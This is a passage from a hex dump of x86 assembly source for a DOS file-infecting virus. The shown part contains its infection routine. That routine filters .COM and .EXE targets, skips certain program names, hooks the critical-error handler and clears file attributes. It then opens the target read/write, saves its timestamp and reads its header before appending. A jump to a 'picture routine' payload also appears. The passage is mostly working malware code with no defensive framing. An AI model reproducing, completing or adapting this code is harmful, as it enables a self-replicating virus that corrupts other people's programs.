|00002170| 20 20 20 64 69 2c 28 28 | 56 49 52 50 41 52 2a 31 |   di,((|VIRPAR*1|
|00002180| 30 29 2b 30 31 30 30 29 | 20 20 20 3b 6d 6f 76 65 |0)+0100)|   ;move|
|00002190| 20 70 69 63 74 75 72 65 | 20 72 6f 75 74 69 6e 65 | picture| routine|
|000021a0| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |..      |        |
|000021b0| 20 20 6d 6f 76 20 20 20 | 20 20 73 69 2c 6f 66 66 |  mov   |  si,off|
|000021c0| 73 65 74 20 62 65 65 6c | 64 0d 0a 20 20 20 20 20 |set beel|d..     |
|000021d0| 20 20 20 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 |        |   mov  |
|000021e0| 20 20 20 63 78 2c 50 49 | 43 4c 45 4e 0d 0a 20 20 |   cx,PI|CLEN..  |
|000021f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 70 75 |        |      pu|
|00002200| 73 68 20 20 20 20 63 73 | 0d 0a 20 20 20 20 20 20 |sh    cs|..      |
|00002210| 20 20 20 20 20 20 20 20 | 20 20 70 6f 70 20 20 20 |        |  pop   |
|00002220| 20 20 64 73 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |  ds..  |        |
|00002230| 20 20 20 20 20 20 70 75 | 73 68 20 20 20 20 63 73 |      pu|sh    cs|
|00002240| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |..      |        |
|00002250| 20 20 70 6f 70 20 20 20 | 20 20 65 73 0d 0a 20 20 |  pop   |  es..  |
|00002260| 20 20 20 20 20 20 72 65 | 70 20 20 20 20 20 6d 6f |      re|p     mo|
|00002270| 76 73 62 0d 0a 0d 0a 20 | 20 20 20 20 20 20 20 20 |vsb.... |        |
|00002280| 20 20 20 20 20 20 20 6d | 6f 76 20 20 20 20 20 61 |       m|ov     a|
|00002290| 78 2c 63 73 20 20 20 20 | 20 20 20 20 20 20 20 20 |x,cs    |        |
|000022a0| 20 20 20 20 20 20 20 3b | 63 61 6c 63 75 6c 61 74 |       ;|calculat|
|000022b0| 65 20 73 65 67 6d 65 6e | 74 20 72 65 67 69 73 74 |e segmen|t regist|
|000022c0| 65 72 73 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |ers..   |        |
|000022d0| 20 20 20 20 20 61 64 64 | 20 20 20 20 20 61 78 2c |     add|     ax,|
|000022e0| 6c 6f 77 20 56 49 52 50 | 41 52 0d 0a 20 20 20 20 |low VIRP|AR..    |
|000022f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 6d 6f 76 20 |        |    mov |
|00002300| 20 20 20 20 64 73 2c 61 | 78 0d 0a 20 20 20 20 20 |    ds,a|x..     |
|00002310| 20 20 20 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 |        |   mov  |
|00002320| 20 20 20 65 73 2c 61 78 | 0d 0a 0d 0a 20 20 20 20 |   es,ax|....    |
|00002330| 20 20 20 20 20 20 20 20 | 20 20 20 20 70 75 73 68 |        |    push|
|00002340| 20 20 20 20 61 78 20 20 | 20 20 20 20 20 20 20 20 |    ax  |        |
|00002350| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 70 75 73 |        |    ;pus|
|00002360| 68 20 70 69 63 74 75 72 | 65 20 61 64 72 65 73 20 |h pictur|e adres |
|00002370| 6f 6e 20 73 74 61 63 6b | 0d 0a 20 20 20 20 20 20 |on stack|..      |
|00002380| 20 20 20 20 20 20 20 20 | 20 20 6d 6f 76 20 20 20 |        |  mov   |
|00002390| 20 20 61 78 2c 30 31 30 | 30 0d 0a 20 20 20 20 20 |  ax,010|0..     |
|000023a0| 20 20 20 20 20 20 20 20 | 20 20 20 70 75 73 68 20 |        |   push |
|000023b0| 20 20 20 61 78 0d 0a 0d | 0a 20 20 20 20 20 20 20 |   ax...|.       |
|000023c0| 20 20 20 20 20 20 20 20 | 20 64 62 20 20 20 20 20 |        | db     |
|000023d0| 20 30 43 42 68 20 20 20 | 20 20 20 20 20 20 20 20 | 0CBh   |        |
|000023e0| 20 20 20 20 20 20 20 20 | 20 3b 28 72 65 74 66 29 |        | ;(retf)|
|000023f0| 20 67 6f 74 6f 20 70 69 | 63 74 75 72 65 20 72 6f | goto pi|cture ro|
|00002400| 75 74 69 6e 65 0d 0a 0d | 0a 0d 0a 3b 2a 2a 2a 2a |utine...|...;****|
|00002410| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00002420| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00002430| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00002440| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00002450| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 0d 0a 3b 2a 20 20 |********|**..;*  |
|00002460| 20 20 20 20 20 20 20 20 | 20 20 20 20 54 72 69 65 |        |    Trie|
|00002470| 73 20 74 6f 20 69 6e 66 | 65 63 74 20 74 68 65 20 |s to inf|ect the |
|00002480| 66 69 6c 65 0d 0a 3b 2a | 2a 2a 2a 2a 2a 2a 2a 2a |file..;*|********|
|00002490| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|000024a0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|000024b0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|000024c0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|000024d0| 2a 2a 2a 2a 2a 0d 0a 0d | 0a 69 6e 66 65 63 74 3a |*****...|.infect:|
|000024e0| 20 20 20 20 20 20 20 20 | 20 63 6c 64 0d 0a 0d 0a |        | cld....|
|000024f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00002500| 70 75 73 68 20 20 20 20 | 63 73 20 20 20 20 20 20 |push    |cs      |
|00002510| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00002520| 3b 63 6f 70 79 20 66 69 | 6c 65 6e 61 6d 65 20 74 |;copy fi|lename t|
|00002530| 6f 20 43 53 3a 30 30 30 | 30 0d 0a 20 20 20 20 20 |o CS:000|0..     |
|00002540| 20 20 20 20 20 20 20 20 | 20 20 20 70 6f 70 20 20 |        |   pop  |
|00002550| 20 20 20 65 73 0d 0a 20 | 20 20 20 20 20 20 20 20 |   es.. |        |
|00002560| 20 20 20 20 20 20 20 6d | 6f 76 20 20 20 20 20 73 |       m|ov     s|
|00002570| 69 2c 64 78 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |i,dx..  |        |
|00002580| 20 20 20 20 20 20 78 6f | 72 20 20 20 20 20 64 69 |      xo|r     di|
|00002590| 2c 64 69 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |,di..   |        |
|000025a0| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 63 78 2c |     mov|     cx,|
|000025b0| 30 30 38 30 0d 0a 6e 61 | 6d 65 6d 6f 76 65 3a 20 |0080..na|memove: |
|000025c0| 20 20 20 20 20 20 6c 6f | 64 73 62 0d 0a 20 20 20 |      lo|dsb..   |
|000025d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 63 6d 70 |        |     cmp|
|000025e0| 20 20 20 20 20 61 6c 2c | 30 0d 0a 20 20 20 20 20 |     al,|0..     |
|000025f0| 20 20 20 20 20 20 20 20 | 20 20 20 6a 65 20 20 20 |        |   je   |
|00002600| 20 20 20 6d 6f 76 65 64 | 0d 0a 20 20 20 20 20 20 |   moved|..      |
|00002610| 20 20 20 20 20 20 20 20 | 20 20 63 6d 70 20 20 20 |        |  cmp   |
|00002620| 20 20 61 6c 2c 27 61 27 | 0d 0a 20 20 20 20 20 20 |  al,'a'|..      |
|00002630| 20 20 20 20 20 20 20 20 | 20 20 6a 62 20 20 20 20 |        |  jb    |
|00002640| 20 20 63 68 61 72 5f 6f | 6b 0d 0a 20 20 20 20 20 |  char_o|k..     |
|00002650| 20 20 20 20 20 20 20 20 | 20 20 20 63 6d 70 20 20 |        |   cmp  |
|00002660| 20 20 20 61 6c 2c 27 7a | 27 0d 0a 20 20 20 20 20 |   al,'z|'..     |
|00002670| 20 20 20 20 20 20 20 20 | 20 20 20 6a 61 20 20 20 |        |   ja   |
|00002680| 20 20 20 63 68 61 72 5f | 6f 6b 0d 0a 20 20 20 20 |   char_|ok..    |
|00002690| 20 20 20 20 20 20 20 20 | 20 20 20 20 78 6f 72 20 |        |    xor |
|000026a0| 20 20 20 20 61 6c 2c 32 | 30 20 20 20 20 20 20 20 |    al,2|0       |
|000026b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 63 6f 6e |        |    ;con|
|000026c0| 76 65 72 74 20 74 6f 20 | 75 70 70 65 72 20 63 61 |vert to |upper ca|
|000026d0| 73 65 0d 0a 63 68 61 72 | 5f 6f 6b 3a 20 20 20 20 |se..char|_ok:    |
|000026e0| 20 20 20 20 73 74 6f 73 | 62 0d 0a 20 20 20 20 20 |    stos|b..     |
|000026f0| 20 20 20 20 20 20 20 20 | 20 20 20 6c 6f 6f 70 20 |        |   loop |
|00002700| 20 20 20 6e 61 6d 65 6d | 6f 76 65 0d 0a 72 65 74 |   namem|ove..ret|
|00002710| 75 72 6e 30 3a 20 20 20 | 20 20 20 20 20 72 65 74 |urn0:   |     ret|
|00002720| 0d 0a 0d 0a 6d 6f 76 65 | 64 3a 20 20 20 20 20 20 |....move|d:      |
|00002730| 20 20 20 20 73 74 6f 73 | 62 20 20 20 20 20 20 20 |    stos|b       |
|00002740| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00002750| 20 20 20 20 3b 70 75 74 | 20 6c 61 73 74 20 7a 65 |    ;put| last ze|
|00002760| 72 6f 20 61 66 74 65 72 | 20 66 69 6c 65 6e 61 6d |ro after| filenam|
|00002770| 65 0d 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |e..     |        |
|00002780| 20 20 20 6c 65 61 20 20 | 20 20 20 73 69 2c 5b 64 |   lea  |   si,[d|
|00002790| 69 2d 35 5d 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |i-5]..  |        |
|000027a0| 20 20 20 20 20 20 70 75 | 73 68 20 20 20 20 63 73 |      pu|sh    cs|
|000027b0| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |..      |        |
|000027c0| 20 20 70 6f 70 20 20 20 | 20 20 64 73 0d 0a 20 20 |  pop   |  ds..  |
|000027d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 0d 0a |        |      ..|
|000027e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|000027f0| 6c 6f 64 73 77 20 20 20 | 20 20 20 20 20 20 20 20 |lodsw   |        |
|00002800| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00002810| 3b 63 68 65 63 6b 20 65 | 78 74 65 6e 73 69 6f 6e |;check e|xtension|
|00002820| 20 2e 43 4f 4d 20 6f 72 | 20 2e 45 58 45 0d 0a 20 | .COM or| .EXE.. |
|00002830| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 63 |        |       c|
|00002840| 6d 70 20 20 20 20 20 61 | 78 2c 27 45 2e 27 0d 0a |mp     a|x,'E.'..|
|00002850| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00002860| 6a 6e 65 20 20 20 20 20 | 6e 6f 74 5f 65 78 65 0d |jne     |not_exe.|
|00002870| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.       |        |
|00002880| 20 6c 6f 64 73 77 0d 0a | 20 20 20 20 20 20 20 20 | lodsw..|        |
|00002890| 20 20 20 20 20 20 20 20 | 63 6d 70 20 20 20 20 20 |        |cmp     |
|000028a0| 61 78 2c 27 45 58 27 0d | 0a 20 20 20 20 20 20 20 |ax,'EX'.|.       |
|000028b0| 20 20 20 20 20 20 20 20 | 20 6a 6d 70 20 20 20 20 |        | jmp    |
|000028c0| 20 73 68 6f 72 74 20 63 | 68 65 63 6b 0d 0a 0d 0a | short c|heck....|
|000028d0| 6e 6f 74 5f 65 78 65 3a | 20 20 20 20 20 20 20 20 |not_exe:|        |
|000028e0| 63 6d 70 20 20 20 20 20 | 61 78 2c 27 43 2e 27 0d |cmp     |ax,'C.'.|
|000028f0| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.       |        |
|00002900| 20 6a 6e 65 20 20 20 20 | 20 72 65 74 75 72 6e 30 | jne    | return0|
|00002910| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |..      |        |
|00002920| 20 20 6c 6f 64 73 77 0d | 0a 20 20 20 20 20 20 20 |  lodsw.|.       |
|00002930| 20 20 20 20 20 20 20 20 | 20 63 6d 70 20 20 20 20 |        | cmp    |
|00002940| 20 61 78 2c 27 4d 4f 27 | 0d 0a 63 68 65 63 6b 3a | ax,'MO'|..check:|
|00002950| 20 20 20 20 20 20 20 20 | 20 20 6a 6e 65 20 20 20 |        |  jne   |
|00002960| 20 20 72 65 74 75 72 6e | 30 0d 0a 0d 0a 20 20 20 |  return|0....   |
|00002970| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 73 74 64 |        |     std|
|00002980| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00002990| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 66 69 |        |     ;fi|
|000029a0| 6e 64 20 62 65 67 69 6e | 20 6f 66 20 66 69 6c 65 |nd begin| of file|
|000029b0| 6e 61 6d 65 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |name..  |        |
|000029c0| 20 20 20 20 20 20 6d 6f | 76 20 20 20 20 20 63 78 |      mo|v     cx|
|000029d0| 2c 73 69 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |,si..   |        |
|000029e0| 20 20 20 20 20 69 6e 63 | 20 20 20 20 20 63 78 0d |     inc|     cx.|
|000029f0| 0a 73 65 61 72 63 68 62 | 65 67 69 6e 3a 20 20 20 |.searchb|egin:   |
|00002a00| 20 6c 6f 64 73 62 0d 0a | 20 20 20 20 20 20 20 20 | lodsb..|        |
|00002a10| 20 20 20 20 20 20 20 20 | 63 6d 70 20 20 20 20 20 |        |cmp     |
|00002a20| 61 6c 2c 27 3a 27 0d 0a | 20 20 20 20 20 20 20 20 |al,':'..|        |
|00002a30| 20 20 20 20 20 20 20 20 | 6a 65 20 20 20 20 20 20 |        |je      |
|00002a40| 63 68 65 63 6b 6e 61 6d | 65 0d 0a 20 20 20 20 20 |checknam|e..     |
|00002a50| 20 20 20 20 20 20 20 20 | 20 20 20 63 6d 70 20 20 |        |   cmp  |
|00002a60| 20 20 20 61 6c 2c 27 5c | 27 0d 0a 20 20 20 20 20 |   al,'\|'..     |
|00002a70| 20 20 20 20 20 20 20 20 | 20 20 20 6a 65 20 20 20 |        |   je   |
|00002a80| 20 20 20 63 68 65 63 6b | 6e 61 6d 65 0d 0a 20 20 |   check|name..  |
|00002a90| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 6c 6f |        |      lo|
|00002aa0| 6f 70 20 20 20 20 73 65 | 61 72 63 68 62 65 67 69 |op    se|archbegi|
|00002ab0| 6e 0d 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |n..     |        |
|00002ac0| 20 20 20 64 65 63 20 20 | 20 20 20 73 69 0d 0a 0d |   dec  |   si...|
|00002ad0| 0a 63 68 65 63 6b 6e 61 | 6d 65 3a 20 20 20 20 20 |.checkna|me:     |
|00002ae0| 20 63 6c 64 20 20 20 20 | 20 20 20 20 20 20 20 20 | cld    |        |
|00002af0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00002b00| 20 3b 63 68 65 63 6b 20 | 66 69 6c 65 6e 61 6d 65 | ;check |filename|
|00002b10| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |..      |        |
|00002b20| 20 20 6c 6f 64 73 77 0d | 0a 20 20 20 20 20 20 20 |  lodsw.|.       |
|00002b30| 20 20 20 20 20 20 20 20 | 20 6c 6f 64 73 77 0d 0a |        | lodsw..|
|00002b40| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00002b50| 6d 6f 76 20 20 20 20 20 | 64 69 2c 6f 66 66 73 65 |mov     |di,offse|
|00002b60| 74 20 6e 61 6d 65 73 0d | 0a 20 20 20 20 20 20 20 |t names.|.       |
|00002b70| 20 20 20 20 20 20 20 20 | 20 6d 6f 76 20 20 20 20 |        | mov    |
|00002b80| 20 63 6c 2c 31 33 0d 0a | 20 20 20 20 20 20 20 20 | cl,13..|        |
|00002b90| 72 65 70 6e 7a 20 20 20 | 73 63 61 73 77 0d 0a 20 |repnz   |scasw.. |
|00002ba0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 6a |        |       j|
|00002bb0| 65 20 20 20 20 20 20 72 | 65 74 75 72 6e 30 0d 0a |e      r|eturn0..|
|00002bc0| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |..      |        |
|00002bd0| 20 20 6d 6f 76 20 20 20 | 20 20 61 78 2c 33 33 30 |  mov   |  ax,330|
|00002be0| 30 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |0       |        |
|00002bf0| 20 20 3b 67 65 74 20 63 | 74 72 6c 2d 62 72 65 61 |  ;get c|trl-brea|
|00002c00| 6b 20 66 6c 61 67 0d 0a | 20 20 20 20 20 20 20 20 |k flag..|        |
|00002c10| 20 20 20 20 20 20 20 20 | 69 6e 74 20 20 20 20 20 |        |int     |
|00002c20| 32 31 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |21..    |        |
|00002c30| 20 20 20 20 70 75 73 68 | 20 20 20 20 64 78 20 20 |    push|    dx  |
|00002c40| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00002c50| 20 20 20 20 3b 73 61 76 | 65 20 66 6c 61 67 20 6f |    ;sav|e flag o|
|00002c60| 6e 20 73 74 61 63 6b 0d | 0a 0d 0a 20 20 20 20 20 |n stack.|...     |
|00002c70| 20 20 20 20 20 20 20 20 | 20 20 20 63 77 64 20 20 |        |   cwd  |
|00002c80| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00002c90| 20 20 20 20 20 20 20 20 | 20 20 20 3b 63 6c 65 61 |        |   ;clea|
|00002ca0| 72 20 74 68 65 20 66 6c | 61 67 0d 0a 20 20 20 20 |r the fl|ag..    |
|00002cb0| 20 20 20 20 20 20 20 20 | 20 20 20 20 69 6e 63 20 |        |    inc |
|00002cc0| 20 20 20 20 61 78 0d 0a | 20 20 20 20 20 20 20 20 |    ax..|        |
|00002cd0| 20 20 20 20 20 20 20 20 | 70 75 73 68 20 20 20 20 |        |push    |
|00002ce0| 61 78 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |ax..    |        |
|00002cf0| 20 20 20 20 69 6e 74 20 | 20 20 20 20 32 31 0d 0a |    int |    21..|
|00002d00| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |..      |        |
|00002d10| 20 20 6d 6f 76 20 20 20 | 20 20 61 78 2c 33 35 32 |  mov   |  ax,352|
|00002d20| 34 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |4       |        |
|00002d30| 20 20 3b 67 65 74 20 69 | 6e 74 32 34 20 76 65 63 |  ;get i|nt24 vec|
|00002d40| 74 6f 72 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |tor..   |        |
|00002d50| 20 20 20 20 20 69 6e 74 | 20 20 20 20 20 32 31 0d |     int|     21.|
|00002d60| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.       |        |
|00002d70| 20 70 75 73 68 20 20 20 | 20 65 73 20 20 20 20 20 | push   | es     |
|00002d80| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00002d90| 20 3b 73 61 76 65 20 76 | 65 63 74 6f 72 20 6f 6e | ;save v|ector on|
|00002da0| 20 73 74 61 63 6b 0d 0a | 20 20 20 20 20 20 20 20 | stack..|        |
|00002db0| 20 20 20 20 20 20 20 20 | 70 75 73 68 20 20 20 20 |        |push    |
|00002dc0| 62 78 0d 0a 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |bx....  |        |
|00002dd0| 20 20 20 20 20 20 70 75 | 73 68 20 20 20 20 63 73 |      pu|sh    cs|
|00002de0| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |..      |        |
|00002df0| 20 20 70 6f 70 20 20 20 | 20 20 64 73 0d 0a 0d 0a |  pop   |  ds....|
|00002e00| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00002e10| 6d 6f 76 20 20 20 20 20 | 64 78 2c 6f 66 66 73 65 |mov     |dx,offse|
|00002e20| 74 20 6e 69 32 34 20 20 | 20 20 20 20 20 20 20 20 |t ni24  |        |
|00002e30| 3b 69 6e 73 74 61 6c 6c | 20 6e 65 77 20 69 6e 74 |;install| new int|
|00002e40| 32 34 20 68 61 6e 64 6c | 65 72 0d 0a 20 20 20 20 |24 handl|er..    |
|00002e50| 20 20 20 20 20 20 20 20 | 20 20 20 20 6d 6f 76 20 |        |    mov |
|00002e60| 20 20 20 20 61 68 2c 32 | 35 0d 0a 20 20 20 20 20 |    ah,2|5..     |
|00002e70| 20 20 20 20 20 20 20 20 | 20 20 20 70 75 73 68 20 |        |   push |
|00002e80| 20 20 20 61 78 0d 0a 20 | 20 20 20 20 20 20 20 20 |   ax.. |        |
|00002e90| 20 20 20 20 20 20 20 69 | 6e 74 20 20 20 20 20 32 |       i|nt     2|
|00002ea0| 31 0d 0a 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |1....   |        |
|00002eb0| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 61 78 2c |     mov|     ax,|
|00002ec0| 34 33 30 30 20 20 20 20 | 20 20 20 20 20 20 20 20 |4300    |        |
|00002ed0| 20 20 20 20 20 3b 61 73 | 6b 20 66 69 6c 65 2d 61 |     ;as|k file-a|
|00002ee0| 74 74 72 69 62 75 74 65 | 73 0d 0a 20 20 20 20 20 |ttribute|s..     |
|00002ef0| 20 20 20 20 20 20 20 20 | 20 20 20 63 77 64 0d 0a |        |   cwd..|
|00002f00| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00002f10| 69 6e 74 20 20 20 20 20 | 32 31 0d 0a 20 20 20 20 |int     |21..    |
|00002f20| 20 20 20 20 20 20 20 20 | 20 20 20 20 70 75 73 68 |        |    push|
|00002f30| 20 20 20 20 63 78 20 20 | 20 20 20 20 20 20 20 20 |    cx  |        |
|00002f40| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 73 61 76 |        |    ;sav|
|00002f50| 65 20 61 74 74 72 69 62 | 75 74 65 73 20 6f 6e 20 |e attrib|utes on |
|00002f60| 73 74 61 63 6b 0d 0a 0d | 0a 20 20 20 20 20 20 20 |stack...|.       |
|00002f70| 20 20 20 20 20 20 20 20 | 20 78 6f 72 20 20 20 20 |        | xor    |
|00002f80| 20 63 78 2c 63 78 20 20 | 20 20 20 20 20 20 20 20 | cx,cx  |        |
|00002f90| 20 20 20 20 20 20 20 20 | 20 3b 63 6c 65 61 72 20 |        | ;clear |
|00002fa0| 61 74 74 72 69 62 75 74 | 65 73 0d 0a 20 20 20 20 |attribut|es..    |
|00002fb0| 20 20 20 20 20 20 20 20 | 20 20 20 20 6d 6f 76 20 |        |    mov |
|00002fc0| 20 20 20 20 61 78 2c 34 | 33 30 31 0d 0a 20 20 20 |    ax,4|301..   |
|00002fd0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 70 75 73 |        |     pus|
|00002fe0| 68 20 20 20 20 61 78 0d | 0a 20 20 20 20 20 20 20 |h    ax.|.       |
|00002ff0| 20 20 20 20 20 20 20 20 | 20 69 6e 74 20 20 20 20 |        | int    |
|00003000| 20 32 31 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 | 21..   |        |
|00003010| 20 20 20 20 20 6a 63 20 | 20 20 20 20 20 72 65 74 |     jc |     ret|
|00003020| 75 72 6e 31 76 0d 0a 0d | 0a 20 20 20 20 20 20 20 |urn1v...|.       |
|00003030| 20 20 20 20 20 20 20 20 | 20 6d 6f 76 20 20 20 20 |        | mov    |
|00003040| 20 61 78 2c 33 44 30 32 | 20 20 20 20 20 20 20 20 | ax,3D02|        |
|00003050| 20 20 20 20 20 20 20 20 | 20 3b 6f 70 65 6e 20 74 |        | ;open t|
|00003060| 68 65 20 66 69 6c 65 0d | 0a 20 20 20 20 20 20 20 |he file.|.       |
|00003070| 20 20 20 20 20 20 20 20 | 20 69 6e 74 20 20 20 20 |        | int    |
|00003080| 20 32 31 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 | 21..   |        |
|00003090| 20 20 20 20 20 6a 6e 63 | 20 20 20 20 20 6f 70 65 |     jnc|     ope|
|000030a0| 6e 65 64 0d 0a 72 65 74 | 75 72 6e 31 76 3a 20 20 |ned..ret|urn1v:  |
|000030b0| 20 20 20 20 20 6a 6d 70 | 20 20 20 20 20 72 65 74 |     jmp|     ret|
|000030c0| 75 72 6e 31 0d 0a 0d 0a | 6f 70 65 6e 65 64 3a 20 |urn1....|opened: |
|000030d0| 20 20 20 20 20 20 20 20 | 78 63 68 67 20 20 20 20 |        |xchg    |
|000030e0| 61 78 2c 62 78 20 20 20 | 20 20 20 20 20 20 20 20 |ax,bx   |        |
|000030f0| 20 20 20 20 20 20 20 20 | 3b 73 61 76 65 20 68 61 |        |;save ha|
|00003100| 6e 64 6c 65 0d 0a 0d 0a | 20 20 20 20 20 20 20 20 |ndle....|        |
|00003110| 20 20 20 20 20 20 20 20 | 6d 6f 76 20 20 20 20 20 |        |mov     |
|00003120| 61 78 2c 35 37 30 30 20 | 20 20 20 20 20 20 20 20 |ax,5700 |        |
|00003130| 20 20 20 20 20 20 20 20 | 3b 67 65 74 20 66 69 6c |        |;get fil|
|00003140| 65 20 64 61 74 65 20 26 | 20 74 69 6d 65 0d 0a 20 |e date &| time.. |
|00003150| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 69 |        |       i|
|00003160| 6e 74 20 20 20 20 20 32 | 31 0d 0a 20 20 20 20 20 |nt     2|1..     |
|00003170| 20 20 20 20 20 20 20 20 | 20 20 20 70 75 73 68 20 |        |   push |
|00003180| 20 20 20 64 78 20 20 20 | 20 20 20 20 20 20 20 20 |   dx   |        |
|00003190| 20 20 20 20 20 20 20 20 | 20 20 20 3b 73 61 76 65 |        |   ;save|
|000031a0| 20 64 61 74 65 20 26 20 | 74 69 6d 65 20 6f 6e 20 | date & |time on |
|000031b0| 73 74 61 63 6b 0d 0a 20 | 20 20 20 20 20 20 20 20 |stack.. |        |
|000031c0| 20 20 20 20 20 20 20 70 | 75 73 68 20 20 20 20 63 |       p|ush    c|
|000031d0| 78 0d 0a 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |x....   |        |
|000031e0| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 63 78 2c |     mov|     cx,|
|000031f0| 42 55 46 4c 45 4e 20 20 | 20 20 20 20 20 20 20 20 |BUFLEN  |        |
|00003200| 20 20 20 20 20 3b 72 65 | 61 64 20 62 65 67 69 6e |     ;re|ad begin|
|00003210| 20 6f 66 20 66 69 6c 65 | 0d 0a 20 20 20 20 20 20 | of file|..      |
|00003220| 20 20 20 20 20 20 20 20 | 20 20 6d 6f 76 20 20 20 |        |  mov   |
|00003230| 20 20 73 69 2c 6f 66 66 | 73 65 74 20 62 75 66 66 |  si,off|set buff|
|00003240| 65 72 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |er..    |        |
|00003250| 20 20 20 20 6d 6f 76 20 | 20 20 20 20 64 78 2c 73 |    mov |    dx,s|
|00003260| 69 0d 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |i..     |        |
|00003270| 20 20 20 63 61 6c 6c 20 | 20 20 20 72 65 61 64 0d |   call |   read.|
|00003280| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.       |        |
|00003290| 20 6a 63 20 20 20 20 20 | 20 63 6c 6f 73 65 76 0d | jc     | closev.|
|000032a0| 0a 0d 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |...     |        |
|000032b0| 20 20 20 6d 6f 76 20 20 | 20 20 20 61 78 2c 34 32 |   mov  |   ax,42|
|000032c0| 30 32 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |02      |        |
|000032d0| 20 20 20 3b 67 6f 74 6f | 20 65 6e 64 2c 20 67 65 |   ;goto| end, ge|
|000032e0| 74 20 66 69 6c 65 6c 65 | 6e 67 74 68 0d 0a 20 20 |t filele|ngth..  |
|000032f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 78 6f |        |      xo|
|00003300| 72 20 20 20 20 20 63 78 | 2c 63 78 0d 0a 20 20 20 |r     cx|,cx..   |
|00003310| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 63 77 64 |        |     cwd|
|00003320| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |..      |        |
